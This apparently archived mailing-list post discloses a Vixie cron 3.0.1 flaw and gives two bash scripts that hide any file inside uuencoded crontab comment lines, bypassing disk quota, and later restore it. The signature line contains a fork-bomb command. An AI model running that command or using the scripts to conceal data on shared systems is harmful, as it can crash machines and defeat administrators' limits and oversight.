The problem with vixie cron is wider (and more funny) than I expected.
Here''s my proggy which allows hiding files of any kind and size into
crontab entries (remember, quota is ignored ;-):
-- cron_put --
#!/bin/bash
echo "Vixie cron 3.0.1 file storage - put utlility"
echo "by Michal Zalewski <lcamtuf@staszic.waw.pl>"
echo
if [ "$1" = "" ]; then
echo usage: $0 file_to_hide
echo
exit 0
fi
if [ ! "`ulimit`" = "unlimited" ]; then
echo Warning, filesize limit is set to `ulimit`.
echo
fi
echo Installing fake crontab...
echo
echo "* * * * * # whoops..." >vix_tmp
uuencode $1 <$1 | awk -F "\n" ''{print "#FAKE"
$1}'' >>vix_tmp
crontab vix_tmp
echo "Thank you, file stored successfully."
-- eof --
The next program allows futher extraction of these files:
-- cron_get --
#!/bin/bash
echo "Vixie cron 3.0.1 file storage - get utility"
echo "by Michal Zalewski <lcamtuf@staszic.waw.pl>"
echo
if [ ! "`ulimit`" = "unlimited" ]; then
echo Warning, filesize limit is set to `ulimit`.
echo
fi
crontab -l | grep "#FAKE" | awk -F "#FAKE" ''{print
$2}''|uudecode
echo "File restored successfully."
-- eof --
_______________________________________________________________________
Micha? Zalewski [tel 9690] | finger 4 PGP [lcamtuf@boss.staszic.waw.pl]
Iterowa? jest rzecz? ludzk?, wykonywa? rekursywnie - bosk? [P. Deustch]
=--------------- [ echo "\$0&\$0">_;chmod +x _;./_ ]
-----------------=